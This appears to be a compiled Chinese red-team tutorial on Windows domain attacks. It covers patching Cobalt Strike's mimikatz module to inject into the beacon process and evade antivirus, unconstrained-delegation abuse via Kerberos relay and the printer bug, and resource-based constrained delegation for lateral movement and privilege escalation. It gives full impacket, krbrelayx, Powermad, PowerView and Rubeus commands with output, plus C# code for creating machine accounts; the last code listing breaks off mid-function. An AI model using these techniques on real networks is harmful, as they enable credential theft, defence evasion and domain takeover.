功能模块分析

Cobalt Strike常见的功能如：logonpasswords，hashdump等功能在jar代码实现是beacon.TaskBeacon.class。

以logonpasswords为例，最终定位到如下代码处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

public void LogonPasswords()
 {
   MimikatzSmall("sekurlsa::logonpasswords");
 }

 public void MimikatzSmall(String paramString)
 {
   for (int i = 0; i < this.bids.length; i++)
   {
     BeaconEntry localBeaconEntry = DataUtils.getBeacon(this.data, this.bids[i]);
     if (localBeaconEntry.is64()) {
       new MimikatzJobSmall(this, paramString).spawn(this.bids[i], "x64");
     } else {
       new MimikatzJobSmall(this, paramString).spawn(this.bids[i], "x86");
     }
   }
 }

在MimikatzSmall方法中，根据目标系统版本进行spawn。跟进到MimikatzJobSmall方法，最后rdi的是mimikatz-min.x64.dll或者mimikatz-min.x86.dll这个dll。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

public class MimikatzJobSmall
  extends MimikatzJob
{
  public MimikatzJobSmall(TaskBeacon paramTaskBeacon, String paramString)
  {
    super(paramTaskBeacon, paramString);
  }
  
  public String getDLLName()
  {
    if (this.arch.equals("x64")) {
      return "resources/mimikatz-min.x64.dll";
    }
    return "resources/mimikatz-min.x86.dll";
  }
}

修改Java

只需要将spawn方法修改inject方法即可，jar里实现的inject方法的需要传入pid，因为我们是注入当前进程，所以需要通过jar里实现的方法去获取当前进程的pid。另外需要注意的就是下面代码中的localBeaconEntry.arch()获取是当前进程的位数，而原来代码里的localBeaconEntry.is64()获取系统的位数。因为我们用到的是inject，所以需要在x64的进程中注入x64的dll，x86的dll中注入x86的dll。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

public void MimikatzSmall(String paramString)
 {
   for (int i = 0; i < this.bids.length; i++)
   {
     BeaconEntry localBeaconEntry = DataUtils.getBeacon(this.data, this.bids[i]);
  int PID = CommonUtils.toNumber(localBeaconEntry.getPid(), 0); 
     if ("x64".equals(localBeaconEntry.arch())) {
  new MimikatzJobSmall(this, paramString).inject(PID, "x64");
         //new MimikatzJobSmall(this, paramString).spawn(this.bids[i], "x64");
     } else {
  new MimikatzJobSmall(this, paramString).inject(PID, "x86");
  //new MimikatzJobSmall(this, paramString).spawn(this.bids[i], "x86");
     }
   }
 }

DLL加解密

因为Cobalt Strike中的DLL是加密的，需要进行解密才能对其dll进行修改。相关操作这里就不再详细说了。

具体可以参考：https://github.com/lovechoudoufu/cobaltstrike4.4_cdf#dll%E4%BF%AE%E6%94%B9

修改相应的DLL

以logonpasswords为例，最后rdi的是mimikatz-min.x64.dll或者mimikatz-min.x86.dll这个dll。ida看一下这个dll，可以看到DLL的核心功能是在dllmain中完成的，调用功能函数之后，会直接调用ExitProcess 退出了进程。

这对于spawn方法是没有问题的，因为是新启动的rundll32.exe进程，执行完功能之后执行ExitProcess退出，但是被改成inject之后就有问题了，因为是在当前beacon进程空间中执行的，所以执行完功能会到导致当前的beacon进程挂掉。所以我们直接patch掉这个对ExitProcess的调用就可以了，但是看了一下对ExitProcess的调用是有多处的，一个一个patch太麻烦了。

所以这里有个更好的方法，就是直接把 ExitProcess修改为ExitThread方法 。由于当前的dll是被inject方法调用起来的，是在当前进程空间新启动的线程，所以当前进程挂掉之后，beacon进程的主线程不会受到影响。这里利用 CFF Explorer 修改导入表就可以了。

然后再用ida打开，发现调用的就是ExitThread了。

测试

将dll和java修改完后，直接替换jar里的即可。简单测试一下是否过数字核晶。

我们直接执行mimikatz coffee命令，这里的mimikatz和logonpasswords调用的是不同的两个dll，其中logonpasswords是用inject方法，而mimikatz coffee未做修改，用的spawn方法。可以看到未修改的被拦截了，而修改过的成功执行回显。

BUG

如果我们上线的进程为x86的进程，而目标系统位数为x64位，此时我们执行logonpasswords，会对其x86进程注入x86的dll。此时会报错，报错内容为：

1

ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process

这主要是内置的mimikatz的dll存在问题，msf中的mimikatz也会存在这个问题。因为目标系统为x64，所以需要一个x64的进程来注入x64的dll，即可。

参考文章

https://www.t00ls.cc/viewthread.php?tid=65597

本文将从两个场景阐述【非约束委派 + Kerberos 中继】的组合使用。

两个场景中，攻击机均在域外（同内网）

0x01 实战场景一：拥有已设置非约束委派的主机的本地管理员账号密码

第一个场景：当我们拥有一个域内已设置非约束委派的 Windows 10 主机的本地管理员组的账号密码（假设是 adminsitrator），且因为该主机上存在一些杀软或其他设备导致无法远程登陆（3389、PsExec等远程登陆）到目标机器进行常规的非约束委派攻击。

本章节就以此为背景，讲述如何进行突破。下表是测试环境介绍：

####

1.1.Dump 远程机器LSA

首先我们需要 dump 目标机器上的机器账号的 AES256 密文和 NTLM 哈希值，为下一步做准备。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

$ python3 secretsdump.py administrator:Password1@192.168.247.10
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xae45437a8b95c0eea4b4596158c2d68c
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
[*] Dumping cached domain logon information (domain/username:hash)
TEST.LOCAL/aduser:$DCC2$10240#aduser#8addbc364aec2e91d4747bfb22334612
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
TEST\WIN10$:aes256-cts-hmac-sha1-96:01c5ab651c87d3e519d0e68236adc0cbc63b493519895efe2cd1939e212696db
TEST\WIN10$:aes128-cts-hmac-sha1-96:21177ecb02e30e940b7f61c0f990bd53
TEST\WIN10$:des-cbc-md5:9ecb207f9da8294a
TEST\WIN10$:plain_password_hex:a39afbc2b71fa35da2c18298d693049e64e0be3267a52e7078d02bed143f99ea8c12e58026e571bcf3696074a72b8d1f032ae1a7126ddfa7028cb859495c3939cae24a5cea26a13b293f65c696dd9a8e242d02d0fa087c73982613ec28d91e8e1936ec26cad5ed24f5f2cd9edac9b1da5996d096cbeb2fdc245d0d1c9fba19be4cc79c20806660a6efa9d66673cf5fd77ca23e52c5ddac27297086ea8acf2b6ca11c067c73290bfbf48e1a08577c0f2a84b12122fc0221d5fb42ed4ca00d9418a7418a122858ecfcac7b06430c8e853512bbbf1303b466aba0510e7946d4c1665a8453d9200249e299cb143e32fe2175
TEST\WIN10$:aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x3a0621afad92277fc0d478f02a64049dcc3fc04d
dpapi_userkey:0x320de78175e986e0d25c6ac011c60dfa797ff571
[*] NL$KM 
 0000   10 30 50 6C 7C 06 4E C8  DB F8 41 5B 21 C9 53 54   .0Pl|.N...A[!.ST
 0010   1A 31 E8 0A 15 03 32 F1  8C 32 1E CB 36 6B 19 3A   .1....2..2..6k.:
 0020   C7 8A 68 BA 22 82 9B 01  2A 36 43 16 39 E3 CB 11   ..h."...*6C.9...
 0030   5B FB 13 DD 5F E4 9C 79  66 B6 B7 C1 18 89 9D 65   [..._..yf......e
NL$KM:1030506c7c064ec8dbf8415b21c953541a31e80a150332f18c321ecb366b193ac78a68ba22829b012a36431639e3cb115bfb13dd5fe49c7966b6b7c118899d65
[*] Cleaning up... 
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

如下图所示：

那么这里提个问题：为什么需要机器账号的 AES256 密文和 NTLM 哈希值呢？往下看，下面有解释。

1.2.域内机器的 System 权限

在域内机器中的 System 权限可以在域内充当机器账号。详细参考：

https://daiker.gitbook.io/windows-protocol/ldap-pian/10#1-ji-qi-yong-hu-gen-system-yong-hu-de-guan-xi

如下实验：我们在 Win10（192.168.247.10）主机中，使用本地管理员 administrator 账号执行 **setspn -q \*/\*** 命令，用于查询域内 SPN 记录，可以看到出现报错信息。但如果我们利用诸如 psexec 将当前权限提升至 system，再执行相同的命令，可以看到可以跟域控正常通信并获取 SPN 记录。这是因为在域内机器中，System 权限相当于域机器账号，可与域控正常通信（可用于域内信息收集）。

如下图，红框部分是 WIND10$ 机器账号注册的 SPN：

1.3.添加 SPN

我们尝试用一下项目中的 addspn.py 对该机器账户进行添加 SPN 操作。

https://github.com/dirkjanm/krbrelayx

上面已经对该机器账号进行了 SPN 查询，那么接下来尝试对该机器账号添加一条 SPN：HOST/PWNED.test.local，如果发现发现没有权限添加，那么该脚本会提示我们使用 –additional 参数对该机器账号的 msDS-AdditionalDnsHostName 属性进行修改。

这是为什么呢？这是因为在默认情况下，机器账号拥有可设置自身 msDS-AdditionalDnsHostName 属性的权限，并且可将该属性设置为任意主机名（包括不存在的主机）。所以本章节中，我们利用这个特性，为机器账号注册（添加）一个新的 SPN 记录： HOST/PWNED.test.local ，指向攻击机。

如下操作（机器账号的 NTLM 作用在此）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# 查询当前机器账号的 SPN 记录
$ python3 addspn.py -u TEST\\WIN10$ -p aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0 -s HOST/PWNED.test.local -q dc.test.local
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
DN: CN=WIN10,CN=Computers,DC=test,DC=local - STATUS: Read - READ TIME: 2021-08-31T04:58:33.868515
    dNSHostName: WIN10.test.local
    sAMAccountName: WIN10$
    servicePrincipalName: RestrictedKrbHost/WIN10
                          HOST/WIN10
                          RestrictedKrbHost/WIN10.test.local
                          HOST/WIN10.test.local

# 尝试添加 SPN 记录，提示无权限，并建议使用 --additiona 对 msDS-AdditionalDnsHostName 进行修改
$ python3 addspn.py -u TEST\\WIN10$ -p aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0 -s HOST/PWNED.test.local dc.test.local  
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[!] Could not modify object, the server reports a constrained violation
[!] You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs matching the hostname)
[!] To add any SPN in the current domain, use --additional to add the SPN via the msDS-AdditionalDnsHostName attribute

# 成功修改 msDS-AdditionalDnsHostName
$ python3 addspn.py -u TEST\\WIN10$ -p aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0 -s HOST/PWNED.test.local dc.test.local --additional
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[+] SPN Modified successfully

在修改 msDS-AdditionalDnsHostName属性后，重新查询，可发现该机器账号下的 SPN 多了一条 HOST/PWNED.test.local 记录。这样我们注册spn的目的就达到了。

1.4.添加 DNS 指向

利用上述 krbrelayx 项目中的 dnstool.py 脚本，向 DNS 服务器添加一个 A 记录（域内用户默认拥有向 DNS 服务器添加 A 记录的权限）。将 PWNED.test.local 解析到 kali（192.168.247.145） 攻击机。

1

$ python3 dnstool.py -u TEST\\WIN10$ -p aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0 -r PWNED.test.local -d 192.168.247.145 --action add dc.test.local

命令执行后，等待一会儿，使用如下命令进行查询，就可以看到已成功解析。

1.5.Kerberos 中继

在 Kali 攻击机上运行 krbrelayx.py 脚本，启动一个监听程序。

1

sudo python3 krbrelayx.py -aesKey 01c5ab651c87d3e519d0e68236adc0cbc63b493519895efe2cd1939e212696db

这里为什么是用的 aesKey 呢？这就不得不提这个 AES256 密文是怎么来的了（见答疑部分）。

1.6.触发打印机漏洞

最后利用打印机漏洞让域控对我们注册的恶意 SPN 服务主机 PWNED.test.local 进行身份认证。此时监听上就可以获取到域控的票据了。

1

python3 printerbug.py -hashes aad3b435b51404eeaad3b435b51404ee:e8651b47207d6607cae4de554356ebb0 test.local/WIN10\$@dc.test.local PWNED.test.local

导入票据，导出 NTLM 哈希值。

0x02 实战场景二：拥有已设置非约束委派的服务账号的账号密码

2.1.为域用户配置 SPN

默认情况下，域账号不能设置委派，只有服务账号才能设置委派（非服务账号在用户属性中缺少【委派】选项卡）。

我们可以给一个域用户注册一个 SPN（此操作需要在域控上操作），将其变成服务账号，这样就可以对其进行委派设置。

1

setspn -A test/test testuser

2.2.添加 SPN

假设我们在域外拿到了一个已设置了非约束委派的服务账号密码，并且该账号可以给自己的账户注册 SPN（拥有读取和写入SPN的权限）。

1

python3 addspn.py -u test.local\\testuser -p Password1 -s host/PWNED.test.local ldap://dc.test.local

默认情况下，可能没有注册 SPN 的权限。需要手动在域控上给该服务账号设置权限（实战场景中，设置了非约束委派的服务账号是否存在该权限，情况不明）。

手动加上权限后，我们就可以给自己的服务账号下注册一个指向我们控制的机器的 SPN 了。

2.3.添加 DNS 指向

同样利用域账号在域外向域控 DNS 加入 A 记录。

1

python3 dnstool.py -u test.local\\testuser -p Password1 -r PWNED.test.local -d 192.168.247.145 --action add dc.test.local

2.4 Kerberos 中继 + 触发打印机

krbrelayx.py 启动监听，打印机漏洞触发 DC 到恶意注册的 SPN 服务主机 PWNED.test.local 进行身份认证。

1
2

sudo python3 krbrelayx.py --krbsalt TEST.testuser --krbpass Password1
python3 printerbug.py TEST.LOCAL/testuser:Password1@dc.test.local PWNED.test.local

得到票据，导入票据。进行进一步操作。

1
2

export KRB5CCNAME=/path/to/ticket.ccache
python3 secretsdump.py -k dc.test.local -just-dc

0x03 相关技术细节

3.1 Kerberos加密方式

Kerberos 的加密方式可以在域控的「本地安全策略」中进行设置：

AD 支持的最弱加密方式是 RC4，他是没有用 salt 值进行加密。但是默认情况下 Kerberos 密钥使用的 AES-128 和 AES-256 进行加密，它是包含了 salt 值。

1. 1. 对于用户账号，他的格式是大写的域名+区分大小写的用户名，例如：TEST.LOCALTestUser

1. 1. 对于机器账号，他是大写的域名+host+完整的小写主机名，例如：TEST.LOCALhostwin10.test.local

​

同样在我们获取到了明文密码和 salt 时候，可以用加密得到 AES-256 密文。如服务账号场景下，我们用到的命令是

1

sudo python3 krbrelayx.py --krbsalt TEST.testuser --krbpass Password1

krbrelayx.py 会自动去计算 AES-256 密文。

3.2 非约束委派流程

当我们执行 printerbug.py 的时候，我们在攻击机 kali 上会接收到一个 AP_REP 的包，它是在一个 SMB 的包里被 GSS-API 和 SPNEGO 协议都用于封装的，可以看到他 Ticket 里的 SPN 为我们添加的恶意 SPN。

那为什么我们在 kali 上面只抓到一个 AP_REP 请求呢，AS 过程、TGS 过程和 AP_REQ 过程去哪里了呢？带着这个疑问往下走：

• AP_REQ 过程，因为我们的 kali 无法正常的像域内机器一样响应这个 AP_REP，同时我们也没有启动 krbrelayx.py 来做一个监听处理。
• AS 和 TGS 过程，是因为我们打印机漏洞是对域控的机器账户即 DC$ 触发他对我们添加的恶意 SPN 主机 PWNED 身份认证。AS 和 TGS 的过程是客户端跟 KDC（Key Distribution Center）进行通信的，这里的 KDC 就是域控。所以我们在攻击机上是抓不到 AS 和 TGS 过程的。

如下图，是一个完整的 kerberos认证过程（委派情况下）。

192.168.247.110 为域内一台普通主机，我使用域管登录。然后在上面执行 dir \192.168.247.10\c$ 命令，可以看到一个完整的kerberos认证过程，其中192.168.247.8为域控，192.168.247.10 被设置了非约束委派。

在第一个 AS_REP 中，我们可以看到加密 Kerberos 密钥用到的 salt。

在第一个 TGS_REQ 里，有我们请求的服务 cifs\win10.test.local。

第二个 TGS_REQ 里，请求的 krbtgt/test.local 的SPN，而且它有个 forwared 的标志，这个标志就代表这个 TGT 能用来进行委派。

在 Windows 下可以利用 klist 命令查看当前会话的票据信息，其中可以看到客户端，服务端，kerberos 票证的加密类型，票证的标志，有效期，其中被设置了委派的票据是含有 ok_as_delegate 的字样的。

前面的 AS 和 TGS 都是客户端（192.168.247.110）跟 KDC（192.168.247.8）进行通信的过程，最后的 AP 过程就是客户端（192.168.247.110）跟服务（192.168.247.10）进行通信的过程，其中 AP_REQ 是含有 TGS 获取获取到的 TGS 票据的，然后AP_REP 过程中，服务（192.168.247.10）会使用自己的 hash 解密 TGS 票据。判断客户端（192.168.247.110）是否有访问服务（192.168.247.10）的权限。有从而完整的完成了一次 Kerberos 协议的流程。

3.3 krbrelayx作用

在 AP_REQ 中，我们可以看到 Ticket 信息和 authenticator 信息。

• ticket 是通过服务的密码进行加密，他包含了用户的认证信息和会话密钥(session key)。它也可以用来进行认证，因为他包含一个用户所属组的 PAC。
• authenticator 是用会话密钥(session key）加密的结构。 用来证明客户端拥有此密钥并用于对客户端进行身份验证

同时一个含有委派 TGT 的 AP_REQ 和不含有委派 TGT 的 AP_REQ，他的数据包大小是不一样的，含有的数据包会很大。如下图，上部分是委派情况下的，下面是正常情况下的。AP_REQ 数据包大小是不一样的，另外还会多出一个 TGS 的过程。

利用计算的好的 kerberos 密钥，即 AES256 密文是可以解密 AP_REQ 中的 Ticket 的，通过修改 krbrelayx.py 输出解密后的结构体：

其中包含 Ticket的有效期，Ticket 的用户名，还有授权信息（其中包含用户PAC）和会话密钥（session key）。

然后用 session key 可以来解密 authenticator。

解密后除了跟上面一样的信息，多出了一个 checksum，在这个字段里就包含了委派 TGT 的 KRB_CRED 结构体。

然后脚本会进行最后一步解密 enc-part 部分，这个部分包含与委托的 TGT 关联的会话密钥，我们需要在 DC 请求服务票证，解密后就会保存为ccache的格式。

这样我们就获取到了第二个 TGS_REQ 中看到的请求的 krbtgt/test.local 的SPN，且拥有 forwared 标志，可以用来委派的 TGT。

0x04 答疑

4.1.为什么要添加 SPN

服务主体名称（SPN: Service Principal Names）是服务实例，可以将其理解为一个服务（比如 HTTP、MSSQL）的唯一标识符，服务在加入域中时是自动注册的。使用 Kerberos 协议来认证服务，那么必须正确配置 SPN。

1
2
3

<service class>/<host>:<port> <servername>
服务类型/对应机器名:服务端口[默认端口可不写]
MSSQLSvc/SQLServer.rcoil.me:1433

由上面的技术细节，我们也了解到了kerberos的认证过程是跟SPN紧密相关的，我们想让域控对我们的控制的主机通过SMB协议进行身份认证成功，就必须注册正确的SPN。确保通过打印机漏洞触发无约束委派对账户进行身份认证且我们可以正常的解密票证。

4.2.为什么要用 AES256 密文

由上面的技术细节，可以知道 AES256 是用来加解密 Kerberos 票证的，我们在知道主机的密码和 SALT 的情况下是可以正常的解密 Kerberos 票证，最后得到一个具有委派标志的 TGT。

基于资源的约束委派(RBCD)是在 Windows Server 2012 中新加入的功能，与传统的约束委派相比，它不再需要域管理员权限去设置相关属性。RBCD 把设置委派的权限赋予了机器自身，既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性来设置 RBCD。

那么谁有权限配置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性

• 将机器加入域的账号，也就是 mS-DS-CreatorSID 属性中的账户
• 机器账户自身也可以修改

利用基于资源的约束委派(RBCD)需要2个条件：

1.拥有将域机器加入域的域用户的权限。（将机器加入域的域用户拥有修改该机器的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的权限。）

2.一个任意服务账户或者一个机器账户（每一个域用户都可以添加 10 个机器账户，添加的机器账户默认会注册 spn 服务）

0x01 横向

1.1.环境说明

1.2.信息收集

• 通过 ADFind 查找将域机器拉入域的用户的 SID：

1

AdFind.exe -b "DC=test,DC=local" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

可以发现WIN10和WIN2012的mS-DS-CreatorSID值是相同的，说明他们是用的同一个域账号进行加域操作的。同时显示mS-DS-CreatorSID值为空说明他们是使用的域管账号进行加域操作的。

• 查看SID对应的域账号

1

AdFind.exe -b "DC=test,DC=local" -f "(&(objectsid=S-1-5-21-3289781467-4043238699-2345174683-2603))" objectclass cn dn

发现对应的域账号即当前我们获取的域账号权限。

同样上面的信息收集可以通过一个程序一步到位，代码来自：微软不认的“0day”之域内本地提权-烂番茄（Rotten Tomato）

.NET 实现在域内查询计算机”mS-DS-CreatorSID”属性的工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

using System;
using System.Security.Principal;
using System.DirectoryServices;
namespace ConsoleApp9
{
    class Program
    {
        static void Main(string[] args)
        {
            DirectoryEntry ldap_conn = new DirectoryEntry("LDAP://dc=test,dc=local");
            DirectorySearcher search = new DirectorySearcher(ldap_conn);
            String query = "(&(objectClass=computer))";//查找计算机
            search.Filter = query;
            foreach (SearchResult r in search.FindAll())
            {
                String mS_DS_CreatorSID="";
                String computername = "";
                try
                {
                    computername = r.Properties["dNSHostName"][0].ToString();

                    mS_DS_CreatorSID = (new SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();
                    //Console.WriteLine("{0} {1}\n", computername, mS_DS_CreatorSID);
                }
                catch
                {
                    ;
                }
                //再通过sid找用户名
                String UserQuery = "(&(objectClass=user))";
                DirectorySearcher search2 = new DirectorySearcher(ldap_conn);
                search2.Filter = UserQuery;

                foreach (SearchResult u in search2.FindAll())
                {
                    String user_sid = (new SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();


                    if (user_sid == mS_DS_CreatorSID) {
                        //Console.WriteLine("debug");
                        String username = u.Properties["name"][0].ToString();
                        Console.WriteLine("[*] [{0}] -> creator  [{1}]",computername, username);
                    }
                }

            }
        }
    }
}

这样就可以直接看到域内的主机是通过哪个域账号进行的加域操作。

1.3.创建机器用户

默认域控的 ms-DS-MachineAccountQuota 属性设置允许所有域用户向一个域添加最多 10 个计算机账户；

同时使用域账户创建或加入域的机器账户自动注册 SPN 变为服务账户。

所以我们创建了一个机器用户就相当于拥有了服务账户。

• Powermad

可以使用Powermad

1

powershell.exe -exec bypass -Command "& {Import-Module C:\Users\adduser\Desktop\Powermad-master\Powermad-master\Powermad.ps1;New-MachineAccount -MachineAccount evilpc -Password $(ConvertTo-SecureString "1qaz@WSX" -AsPlainText -Force)}"

可以看到成功添加了机器用户evilpc$。

1

setspn.exe -q */*

同时注册了spn服务。

• addcomputer.py

使用impacket套件中的addcomputer.py添加(无需在域内，只需要拥有一个域账号和网络通即可)。

1

python3 addcomputer.py -dc-ip 192.168.247.8 -computer-name evilpc2 -computer-pass 123456 "test.local/adduser:1qaz@WSX"

1.4.配置基于资源的约束委派

powerview.ps1(Empire)

查询添加机器的SID

1

powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Get-DomainComputer -Identity evilpc -Properties objectsid}"

配置基于资源的约束委派

修改SID为添加用户的SID，修改Get-DomainComputer后面跟目标主机名。

1
2
3
4
5
6
7
8

Import-Module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3289781467-4043238699-2345174683-2606)"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer WIN2012| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

在非交互的情况下可以将如下代码保存为 rbcd.ps1

1
2
3
4
5

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3289781467-4043238699-2345174683-2606)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Import-Module C:\Users\adduser\Desktop\powerview.ps1
Get-DomainComputer WIN2012 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

1

powershell -ExecutionPolicy bypass -File ./rbcd.ps1

检查是否配置成功

1

powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Get-DomainComputer WIN2012 -Properties msds-allowedtoactonbehalfofotheridentity}"

攻击完成清除基于资源的约束委派配置：

1

powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Set-DomainObject WIN2012 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose}"

rbcd.py

https://github.com/tothi/rbcd-attack，依赖impacket，域外一步到位。

1

python3 rbcd.py -f EVILPC2 -t WIN2012 -dc-ip 192.168.247.8 test\\adduser:1qaz@WSX

1.5.获取票据

Rubeus(1.4.2)

Rubeus1.4.2需要依赖.net3.5。

1

Rubeus.exe hash /user:evilpc /password:1qaz@WSX /domain:test.local

我尝试从网上下载Rubeus.exe2.0发现s4u失败了，1.4.2版本没问题。

1

Rubeus.exe s4u /user:evilpc$ /rc4:161CFF084477FE596A5DB81874498A24 /impersonateuser:administrator /msdsspn:cifs/WIN2012 /ptt

再申请一个host服务的票据

1

Rubeus.exe s4u /user:evilpc$ /rc4:161CFF084477FE596A5DB81874498A24 /impersonateuser:administrator /msdsspn:cifs/WIN2012 /ptt

1

PsExec.exe \\WIN2012 cmd.exe

getST.py

在域外且有域账号的情况下。

1
2
3
4

python3 getST.py -dc-ip 192.168.247.8 -spn cifs/WIN2012.test.local -impersonate administrator test.local/evilpc2$:123456
export KRB5CCNAME=`pwd`/administrator.ccache
klist
python3 smbexec.py -no-pass -k WIN2012.test.local

0x02 提权

2.1.场景说明

在我们做社工钓鱼的时候经常会上线一些域账号，但是这些域用户没有在本地管理员组里面，我们是没有去抓密码啥的。所以就需要提权。

前提条件：上线的域账号为该机器加入域用到的域账号

2.2.利用RBCD进行提权

这里就利用RBCD进行提权，可以用以下代码实现 RBCD 创建机器账户和配置基于资源的约束委派的全过程。

代码来自：微软不认的“0day”之域内本地提权-烂番茄（Rotten Tomato）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124

using System;
using System.Text;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Net;
using System.DirectoryServices;
namespace Addnew_MachineAccount
{
    class Program
    {
        static void Main(string[] args)
        {
            String DomainController = "192.168.247.8";
            String Domain = "test.local";
            String new_MachineAccount = "testpc1"; //添加的机器账户
            String new_MachineAccount_password = "123456"; //机器账户密码
            String victimcomputer = "WIN10"; //需要进行提权的机器
            String victimcomputer_ldap_path = "LDAP://CN=WIN10,CN=Computers,DC=test,DC=local";
            String machine_account = new_MachineAccount;
            String sam_account = machine_account + "$";

            String distinguished_name = "";
            String[] DC_array = null;
            distinguished_name = "CN=" + machine_account + ",CN=Computers";
            DC_array = Domain.Split('.');
            foreach (String DC in DC_array)
            {
                distinguished_name += ",DC=" + DC;
            }
            Console.WriteLine("[+] Elevate permissions on " + victimcomputer);
            Console.WriteLine("[+] Domain = " + Domain);
            Console.WriteLine("[+] Domain Controller = " + DomainController);
            //Console.WriteLine("[+] New SAMAccountName = " + sam_account);
            //Console.WriteLine("[+] Distinguished Name = " + distinguished_name);
            //连接ldap
            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
            //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
            System.DirectoryServices.Protocols.LdapConnection connection = null;
            //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
            connection.SessionOptions.Sealing = true;
            connection.SessionOptions.Signing = true;
            connection.Bind();
            var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
                new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account +"."+ Domain),
                new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
                new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
                new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/"+machine_account+"."+Domain,"RestrictedKrbHost/"+machine_account+"."+Domain,"HOST/"+machine_account,"RestrictedKrbHost/"+machine_account)
            });
            try
            {
                //添加机器账户
                connection.SendRequest(request);
                Console.WriteLine("[+] Machine account: " + machine_account + " Password: " + new_MachineAccount_password + " added");
            }
            catch (System.Exception ex)
            {
                Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
                Console.WriteLine("[-] Exception: " + ex.Message);
                return;
            }
            // 获取新计算机对象的SID
            var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
            var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
            SecurityIdentifier sid = null;
            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
            {
                try
                {
                    sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
